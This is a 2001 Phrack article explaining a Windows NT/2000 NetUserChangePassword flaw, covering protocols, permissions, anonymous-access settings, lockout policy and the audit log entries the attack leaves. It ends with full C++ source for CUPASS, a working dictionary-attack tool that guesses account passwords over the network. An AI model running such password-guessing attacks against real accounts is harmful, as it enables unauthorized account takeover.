mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
810 lines
20 KiB
Text
810 lines
20 KiB
Text
==Phrack Inc.==
|
|
|
|
Volume 0x0b, Issue 0x39, Phile #0x10 of 0x12
|
|
|
|
|=---------=[ CUPASS AND THE NETUSERCHANGEPASSWORD PROBLEM ]=------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=-------=[ Doc Holiday / THC <holiday@TheHackersChoice.com> ]=----------=|
|
|
|
|
|
|
|
|
----| INTRODUCTION
|
|
|
|
|
|
|
|
Microsoft has a known problem in Windows NT 4, that enables an attacker
|
|
to change the password of any user under special/default circumstances.
|
|
|
|
|
|
The same problem reappeared in Windows 2000 some days ago. The flaw exists
|
|
in Microsofts implementation of the NetUserChangePassword function.
|
|
|
|
|
|
These facts inspired me to write this article and CUPASS, a simple tool
|
|
that starts a dictionary attack against user accounts.
|
|
|
|
|
|
In this article I want to discuss all things worth knowing about the
|
|
NetUserChangePassword problem.
|
|
|
|
|
|
Have fun while reading this article...
|
|
|
|
|
|
Doc Holiday /THC
|
|
|
|
|
|
|
|
|
|
----| THE PASSWORD CHANGE PROTOCOLS
|
|
|
|
|
|
As a little background I will tell you something about the possibilites
|
|
to change a password in a Windows NT/W2K environment.
|
|
|
|
|
|
Windows 2000 supports several protocols for changing passwords which
|
|
are used under different circumstances.
|
|
|
|
|
|
These protocols are
|
|
|
|
|
|
- NetUserChangePassword protocol (we will call it NUCP)
|
|
- NetUserSetInfo protocol
|
|
- Kerberos change-password protocol
|
|
- Kerberos set-password protocol
|
|
- LDAP write-password attribute (presumes 128Bit SSL)
|
|
- XACT-SMB protocol (for LAN Manager compatibility)
|
|
|
|
|
|
Because there is a flaw in Microsofts implementation of the NUCP protocol,
|
|
we will have a deeper look at this one.
|
|
|
|
|
|
|
|
----| PROTOCOL ELECTION
|
|
|
|
|
|
We can see that there are a lot of protocols for changing passwords in an
|
|
Microsoft environment. Now I will show in which cases the NUCP is used:
|
|
|
|
|
|
case 1
|
|
------
|
|
|
|
|
|
If a user changes his password by pressing CTRL+ALT+DELETE and pressing the
|
|
"Change Password" button, the NUCP protocol is used, if the target is a
|
|
domain or the local member server or workstation.
|
|
|
|
|
|
If the target is a Kerberos realm, the Kerberos change-password protocol is
|
|
used instead of NUCP.
|
|
|
|
|
|
case 2
|
|
------
|
|
|
|
|
|
If a change password request is initiated from an Windows NT 3.x or NT 4
|
|
machine, the NUCP and/or NetUserSetInfo protocols are used.
|
|
|
|
|
|
case 3
|
|
------
|
|
|
|
|
|
If a program uses the NUCP method on the Active Directory Services
|
|
Interface (ADSI), the IaDSUser interface first tries to change the
|
|
password with the LDAP protocol, and then by using the NUCP method.
|
|
|
|
|
|
|
|
|
|
----| NUCP FUNCTION CALL
|
|
|
|
|
|
At this time we know that a lot of ways exist to change a users
|
|
password. We also know in which cases NUCP is used.
|
|
|
|
|
|
Now we want to have a little look at the function NetUserChangePassword
|
|
itself. (More detailed information can be found at Microsoft's SDK!)
|
|
|
|
|
|
|
|
Prototype
|
|
---------
|
|
|
|
|
|
The prototype of the NetUserChangePassword function is defined in
|
|
"lmaccess.h", and looks as follows:
|
|
|
|
|
|
|
|
NET_API_STATUS NET_API_FUNCTION
|
|
NetUserChangePassword (
|
|
IN LPCWSTR domainname OPTIONAL,
|
|
IN LPCWSTR username OPTIONAL,
|
|
IN LPCWSTR oldpassword,
|
|
IN LPCWSTR newpassword
|
|
);
|
|
|
|
|
|
|
|
The parameters are explained consecutively:
|
|
|
|
|
|
|
|
Parameters
|
|
----------
|
|
|
|
|
|
->domainname
|
|
----------
|
|
|
|
|
|
Pointer to a null-terminated Unicode string that specifies the name of a
|
|
remote server or domain.
|
|
|
|
|
|
->username
|
|
--------
|
|
|
|
|
|
Pointer to a null-terminated Unicode string that specifies a user name.
|
|
|
|
|
|
->oldpassword
|
|
-----------
|
|
|
|
|
|
Pointer to a null-terminated Unicode string that specifies the user's
|
|
old password on the server or domain.
|
|
|
|
|
|
->newpassword
|
|
-----------
|
|
|
|
|
|
Pointer to a null-terminated Unicode string that specifies the user's new
|
|
password on the server or domain.
|
|
|
|
|
|
|
|
Return values
|
|
-------------
|
|
|
|
|
|
The return values are defined in "LMERR.H" and "WINERROR.H".
|
|
|
|
|
|
With a deeper look in this files we can see that if the function was executed
|
|
with success, the return value is 0 (zero) btw. NERR_Success.
|
|
|
|
|
|
|
|
The most important error values are:
|
|
|
|
|
|
->ERROR_ACCESS_DENIED (WINERROR.H)
|
|
--------------------------------
|
|
|
|
|
|
Access is denied ;)
|
|
|
|
|
|
If the target is a NT Server/Domain Controller, and the
|
|
option "User Must Log On in Order to Change Password" is enabled,
|
|
this error code is the result of CUPASS. The password could
|
|
not be guessed :(
|
|
|
|
|
|
If the target is a W2K domain controller with AD installed,
|
|
and the EVERYONE group is removed from the group
|
|
"Pre-Windows 2000 compatible access", than this error code
|
|
is an result of NUCP.
|
|
|
|
|
|
In some cases this means the right password was guessed by
|
|
CUPASS, but could not be changed because of insufficient
|
|
permissions on the corresponding AD object.
|
|
|
|
|
|
|
|
->ERROR_INVALID_PASSWORD (WINERROR.H)
|
|
-----------------------------------
|
|
|
|
|
|
The guessed password (oldpassword) was invalid
|
|
|
|
|
|
|
|
->ERROR_ACCOUNT_LOCKED_OUT (WINERROR.H)
|
|
-------------------------------------
|
|
|
|
|
|
The account is locked due to many logon tries.
|
|
|
|
|
|
|
|
->ERROR_CANT_ACCESS_DOMAIN_INFO (WINERROR.H)
|
|
------------------------------------------
|
|
|
|
|
|
Indicates a Windows NT Server could not be contacted or that
|
|
objects within the domain are protected such that necessary
|
|
information could not be retrieved.
|
|
|
|
|
|
|
|
->NERR_UserNotFound (LMERR.H)
|
|
---------------------------
|
|
|
|
|
|
The useraccount could not be found on the given server.
|
|
|
|
|
|
|
|
->NERR_NotPrimary (LMERR.H)
|
|
-------------------------
|
|
|
|
|
|
The operation is only allowed on the PDC. This appears e.g. if
|
|
you try to change passwords on a BDC.
|
|
|
|
|
|
|
|
This return values are evaluated by CUPASS. For all others, the numeric
|
|
value will be shown, and you can simply have a look at this files for
|
|
the meaning of the errorcode.
|
|
|
|
|
|
|
|
|
|
MORE DETAILS ON NUCP API CALL
|
|
-----------------------------
|
|
|
|
|
|
The NUCP function is only available on Windows NT and Windows 2000
|
|
platforms.
|
|
|
|
|
|
As part of the LanMan-API the NUCP function is UNICODE only!!!
|
|
This makes the programming a little bit harder, but not impossible :)
|
|
|
|
|
|
UNICODE on Windows is an topic for itself, and we dont want to talk more
|
|
about it here. Have a look at Microsofts msdn webpage or Charles
|
|
Petzolds book about Windows programming, if you are interested in this
|
|
topic.
|
|
|
|
|
|
For a successfull usage of NUCP, you have to link your program with the
|
|
"Netapi32.lib" library!
|
|
|
|
|
|
|
|
|
|
----| REQUIRED PERMISSIONS FOR NUCP
|
|
|
|
|
|
NUCP is part of the Microsoft network management functions.
|
|
The management functions consists of different groups like
|
|
NetFileFunctions, ScheduleFunctions, ServerFunctions, UserFunctions etc.
|
|
|
|
|
|
These functions are again splitted in Query Functions and Update Functions.
|
|
Whilst query functions just allow to query informations, the update
|
|
functions allow changes on objects.
|
|
|
|
|
|
An example for a query function is e.g the NetUserEnum function which
|
|
provides information about all user accounts on a server.
|
|
|
|
|
|
An example for an update function is the NetUserChangePassword function
|
|
which changes the password of a user account :)
|
|
|
|
|
|
Its easy to imagine, that query functions need less permissions than update
|
|
functions for beeing executed.
|
|
|
|
|
|
|
|
Lets have a look what permissions are needet:
|
|
|
|
|
|
|
|
WINDOWS NT
|
|
----------
|
|
|
|
|
|
The query functions like NetGroupEnum, NetUserEnum etc. and can be
|
|
executed by all authenticated users.
|
|
|
|
|
|
This includes Anonymous users, if the RestrictAnonymous policy setting
|
|
allows anonymous access.
|
|
|
|
|
|
On a Windows NT member server, workstation or PDC, the
|
|
NetUserChangePassword function can only be (successfull) executed by
|
|
Administrators, Account Operators or the user of the account, if the option
|
|
'User Must Log On in Order to Change Password' for this user is enabled.
|
|
|
|
|
|
If 'User Must Log On in Order to Change Password' is not enabled, a user can
|
|
change the password of any other user, as long he knows the actual password.
|
|
|
|
|
|
|
|
WINDOWS 2000
|
|
------------
|
|
|
|
|
|
The query functions like NetGroupEnum, NetUserEnum etc. can be executed by
|
|
all authenticated users. This includes Anonymous users, if the
|
|
RestrictAnonymous policy setting allows anonymous access.
|
|
|
|
|
|
On a W2K member server or workstation the NetUserChangePassword function
|
|
should only be (successfully) executable by Administrators, Account
|
|
Operators or the user of the account.
|
|
|
|
|
|
That this isn't the case, can be shown with CUPASS, because here is the
|
|
flaw that Microsoft made with his implementation of NetUserChangePassword.
|
|
|
|
|
|
On W2K member servers and workstations, the NetUserChangePassword function
|
|
can be successfully executed by any user who knows the current password of
|
|
the attacked user account.
|
|
|
|
|
|
|
|
( For your information:
|
|
|
|
|
|
The option 'User Must Log On in Order to Change Password' has been removed
|
|
>from W2K! )
|
|
|
|
|
|
|
|
On a W2K domain controller with Active Directory, access to an object is
|
|
granted based on the ACL of the object (Because W2K with installed AD
|
|
stores the user passwords in the AD in contrast to NT 3.x/4).
|
|
|
|
|
|
Network management query functions are permitted to all authenticated
|
|
users and the members of the group "Pre-Windows 2000 compatible access"
|
|
by the default ACL's.
|
|
|
|
|
|
Theoretical Network Management Update functions like NUCP are only
|
|
permitted to Administrators and Account Operators.
|
|
|
|
|
|
That this is not the case, can also be shown with CUPASS.
|
|
|
|
|
|
CUPASS works fine if AD is installed on the target system.
|
|
|
|
|
|
If the "everyone" group is removed from the
|
|
"Pre-Windows 2000 compatible access" group, the result of CUPASS will
|
|
be Errorcode 5, which means ACCESS_DENIED!.
|
|
|
|
|
|
My research shows that anyhow the password is guessed by CUPASS, but
|
|
can not be changed because of insufficient permissions on the AD object!
|
|
|
|
|
|
|
|
----| ANONYMOUS CONNECT
|
|
|
|
|
|
There is something I didn't talk about much, the Anonymous User Problem,
|
|
also known as the NULL-User problem.
|
|
|
|
|
|
Lets have a short look at how the Anonymous security settings will take affect
|
|
to the NUCP problem:
|
|
|
|
|
|
-> W2K
|
|
---
|
|
|
|
|
|
The value Data of the following registry value regulates the behaviour
|
|
of the operating system regarding to the NULL USER CONNECT.
|
|
|
|
|
|
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA
|
|
Value: RestrictAnonymous
|
|
Value Type: REG_DWORD
|
|
|
|
|
|
If RestrictAnonymous is set to 0 (zero), which is the default setting,
|
|
CUPASS will work properly.
|
|
|
|
|
|
If RestrictAnonymous is set to 1, what means the enumeration of SAM
|
|
accounts and names is not allowed, CUPASS will work properly.
|
|
|
|
If RestrictAnonymous is set to 2, what means no access without explicit
|
|
anonymous permissions, there is no possibility to change the password
|
|
with NUCP :(
|
|
|
|
Because the value 2 has comprehensive consequences to the behaviour of
|
|
the windows environment (e.g. Browser service will not work properly,
|
|
netlogon secure channels could not be established properly by member
|
|
workstations etc..) it is rare used.
|
|
|
|
|
|
These settings are the same on W2K member server and W2K DC with AD!
|
|
|
|
|
|
|
|
-> NT4
|
|
---
|
|
|
|
The value Data of the following registry value regulates the behaviour
|
|
of the operating system regarding to the NULL USER CONNECT.
|
|
|
|
|
|
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA
|
|
Value: RestrictAnonymous
|
|
Value Type: REG_DWORD
|
|
|
|
|
|
Converse to W2K there are only two valid values 0 (zero) and 1 for
|
|
RestrictAnonymous.
|
|
|
|
|
|
If RestrictAnonymous is set to 0 (zero), which is the default setting,
|
|
CUPASS will work properly.
|
|
|
|
|
|
If RestrictAnonymous is set to 1, what means the enumeration of SAM
|
|
accounts and names is not allowed, CUPASS will work properly.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
COMMON
|
|
------
|
|
|
|
|
|
The process that calls the NetUserChangePassword function in some cases
|
|
must have the SE_CHANGE_NOTIFY_NAME privilege
|
|
(except for system account and members of the local Administrator group).
|
|
Per default this privilege is enabled for every account, but can be
|
|
disabled by the administrator.
|
|
|
|
|
|
SE_CHANGE_NOTIFY_NAME could not be found at the privileges,
|
|
because it is called "Bypass traverse checking"!
|
|
|
|
|
|
This is an declarative from Microsoft. I tried it, but I didn't find a case
|
|
in that this right was necessary to execute the NUCP function call.
|
|
|
|
|
|
|
|
|
|
----| POLICY AND LOGGING
|
|
|
|
|
|
I will have a look for the policy settings, that will take affect to the
|
|
NUCP problem.
|
|
|
|
|
|
|
|
ACCOUNT POLICIES
|
|
----------------
|
|
|
|
|
|
->PASSWORD POLICY
|
|
---------------
|
|
|
|
The settings "Enforce password history" and "Minimum password age"
|
|
will take effect to the result of CUPASS, in the way that CUPASS can't
|
|
"realy" change the password, and the error code 2245 will result.
|
|
|
|
But this doesn't matter, because we know the "old" password at this time,
|
|
and CUPASS just tried to replace the "old" password with the "old"
|
|
password again.
|
|
|
|
|
|
|
|
->ACCOUNT LOGOUT POLICY
|
|
---------------------
|
|
|
|
Account lockout treshold
|
|
------------------------
|
|
|
|
|
|
The settings "Account lockout duration" and
|
|
"Reset Account lockout after ..." are only relevant if the
|
|
"Account lockout treshold" ist set to any value >0.
|
|
|
|
|
|
If the treshold is set, than this takes affect to the work of CUPASS,
|
|
because all attempts of CUPASS exceeding the treshold will lead to an
|
|
account lockout :(
|
|
|
|
|
|
However the Logout Policy ist not valid for the Administrator on NT4
|
|
environments, until the NT Reskit tool "Passprop" is used!
|
|
In this case even the Administator account will be locked
|
|
for network logons!
|
|
|
|
|
|
If we start CUPASS against any account of a W2K server or a W2K domain
|
|
controller with AD, this account is locked out, and even the
|
|
Administrator account is marked as "Account is locked out", too !
|
|
|
|
|
|
But it is still possible for the Administrator account to log on
|
|
interactive on the machine!
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
AUDIT POLICY
|
|
------------
|
|
|
|
|
|
Lets have a look which auditing events have to enabled, to see an
|
|
CUPASS attack in the security logs of the target machine.
|
|
|
|
|
|
|
|
Audit Account Management
|
|
------------------------
|
|
|
|
|
|
If the setting "Audit Account Management" is enabled (success/failure),
|
|
an entry with the ID 627 appears in in the security log.
|
|
|
|
|
|
This entry contains all necessary datas for the administrator :(
|
|
These e.g. are: Date, Time, Target Account Name, Caller User Name etc.
|
|
|
|
|
|
|
|
Audit account logon events
|
|
--------------------------
|
|
|
|
|
|
Surprisingly for some administrators, there appears no log entry if
|
|
the settings "Audit account logon events" or "Audit logon events"
|
|
are enabled, if the attack goes to the local machine.
|
|
|
|
|
|
This is e.g. the case if you want to guess the local administrator
|
|
password of your machine.
|
|
|
|
|
|
If the CUPASS attack comes from remote, log entries ID 681 and ID 529
|
|
occures.
|
|
|
|
|
|
|
|
Audit Object Access
|
|
-------------------
|
|
|
|
If this type of auditing is enabled, and the attack goes to the
|
|
local machine, an logfile entry with the ID 560 and 562 appears.
|
|
|
|
|
|
ID 560 tells us that someone opened the object
|
|
"Security Account Manager" whilst 562 tells us something like
|
|
"Handle closed"...
|
|
|
|
|
|
|
|
Maybe there occure some more logfile entries with other ID's, but these
|
|
ones listed above are the ones I found while testing CUPASS.
|
|
|
|
|
|
So test CUPASS on your own environment and have a look into your logfiles!
|
|
|
|
|
|
|
|
|
|
----| LAST WORDS
|
|
|
|
|
|
I hope this article could give you a little overview about the
|
|
NetUserChangePassword problem, and Microsoft's inconsequent implementation
|
|
of security and function calls.
|
|
|
|
|
|
This article could not treat this topic concluding, because there are
|
|
so many different situations and configurations that I could not test
|
|
in my short sparetime :)
|
|
|
|
|
|
|
|
----| GREETS
|
|
|
|
|
|
Greets to Van Hauser who inspired me for this release, ganymed, mindmaniac
|
|
and all the other members from THC, VAX who gives me a lift to HAL2001,
|
|
the guys from TESO, Seth, Rookie and all the other people knowing me...
|
|
|
|
|
|
The biggest THANX are going to my wife, who missed me nearly the whole
|
|
weekend while I was writing this article!
|
|
|
|
Ok, have a nice day and lets meet and party at HAL2001 :)
|
|
|
|
|
|
|
|
<++> cupass.cpp !a10c7302
|
|
/*
|
|
* CUPASS v1.0 (c) 2001 by Doc Holiday / THC <Holiday@TheHackersChoice.com>
|
|
* http://www.hackerschoice.com
|
|
*
|
|
* Dictionary Attack against Windows Passwords with NetUserChangePassword.
|
|
* Do only use for legal purposes.
|
|
*
|
|
* Compiled and tested on Windows NT/W2K - runs not on Win9x!!
|
|
* Compiled with VC++ 6.0
|
|
*
|
|
*/
|
|
|
|
|
|
#define UNICODE 1
|
|
#define _UNICODE 1
|
|
|
|
|
|
#include <windows.h>
|
|
#include <lmaccess.h>
|
|
#include <stdio.h>
|
|
#include <wchar.h>
|
|
|
|
|
|
#pragma comment( lib, "netapi32.lib" )
|
|
|
|
|
|
|
|
void wmain( int argc, wchar_t *argv[] )
|
|
{
|
|
wchar_t *hostname = 0;
|
|
wchar_t *username = 0;
|
|
wchar_t *dictfile = 0;
|
|
wchar_t myChar[256];
|
|
NET_API_STATUS result;
|
|
FILE *stream;
|
|
LPWSTR oldpassword;
|
|
|
|
|
|
if (argc != 4)
|
|
{
|
|
wprintf (L"\nMissing or wrong parameters!\n");
|
|
wprintf (
|
|
L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
|
|
exit(1);
|
|
}
|
|
|
|
|
|
hostname = argv[1];
|
|
username = argv[2];
|
|
dictfile = argv[3];
|
|
|
|
|
|
if (wcsncmp(hostname, L"\\\\",2 )!=0)
|
|
{
|
|
wprintf (L"\nups... you forgot the double backslash?");
|
|
wprintf (
|
|
L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
|
|
exit(1);
|
|
}
|
|
|
|
|
|
if( (stream = _wfopen( dictfile, L"r" )) == NULL )
|
|
{
|
|
wprintf( L"\nups... dictionary %s could not be opened", dictfile );
|
|
wprintf (L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
|
|
}
|
|
else
|
|
{
|
|
|
|
wprintf (L"\n*** CUPASS 1.0 - Change User PASSword - by Doc Holiday/THC (c) 2001 ***\n");
|
|
wprintf (L"\nStarting attack .....\n");
|
|
wprintf (L"\nTarget: %s ", hostname);
|
|
wprintf (L"\nUser: %s\n ", username);
|
|
|
|
|
|
while( !feof( stream ) )
|
|
{
|
|
fgetws (myChar, 256,stream);
|
|
|
|
|
|
if (myChar[wcslen(myChar)-1] == '\r') myChar[wcslen(myChar)-1] = '\0';
|
|
if (myChar[wcslen(myChar)-1] == '\n') myChar[wcslen(myChar)-1] = '\0';
|
|
|
|
|
|
oldpassword = myChar;
|
|
|
|
wprintf( L"\nTrying password %s \n", oldpassword );
|
|
|
|
result = NetUserChangePassword( hostname, username,oldpassword, oldpassword );
|
|
|
|
switch (result)
|
|
{
|
|
case 0:
|
|
wprintf( L"GOTCHA!! Password was changed\n" );
|
|
wprintf( L"\nPassword from user '%s' is '%s'\n", username, oldpassword);
|
|
fclose (stream);
|
|
exit (1);
|
|
break;
|
|
|
|
case 5: //ERROR_ACCESS_DENIED
|
|
wprintf (L"Attempt failed -> ERROR_ACCESS_DENIED - \
|
|
But password could be %s\n", oldpassword);
|
|
fclose (stream);
|
|
exit(1);
|
|
break;
|
|
|
|
case 86: //ERROR_INVALID_PASSWORD
|
|
wprintf( L"Attempt failed -> Incorrect password\n" );
|
|
break;
|
|
|
|
case 1351: //ERROR_CANT_ACCESS_DOMAIN_INFO
|
|
wprintf (L"Attempt failed -> Can't establish connection to Host %s\n",hostname);
|
|
fclose (stream);
|
|
exit(1);
|
|
break;
|
|
|
|
|
|
case 1909: //ERROR_ACCOUNT_LOCKED_OUT
|
|
wprintf (L"Attempt failed -> Account locked out\n");
|
|
fclose (stream);
|
|
exit(1);
|
|
break;
|
|
|
|
|
|
case 2221: //NERR_UserNotFound)
|
|
wprintf (L"Attempt failed -> User %s not found\n", username);
|
|
fclose (stream);
|
|
exit(1);
|
|
break;
|
|
|
|
case 2226://NERR_NotPrimary
|
|
wprintf (L"Attempt failed -> Operation only allowed on PDC\n");
|
|
break;
|
|
|
|
|
|
case 2245:
|
|
wprintf (L"GOTCHA!! Password is '%s' , but \
|
|
couldn't be changed to '%s' due to password policy settings!\n", \
|
|
oldpassword, oldpassword);
|
|
fclose(stream);
|
|
exit(1);
|
|
break;
|
|
|
|
|
|
default:
|
|
wprintf( L"\nAttempt failed :( %lu\n", result );
|
|
fclose(stream);
|
|
exit(1);
|
|
break;
|
|
}
|
|
}
|
|
fclose (stream);
|
|
}
|
|
}
|
|
<--> end cupass.cpp
|
|
|
|
|=[ EOF ]=---------------------------------------------------------------=|
|
|
|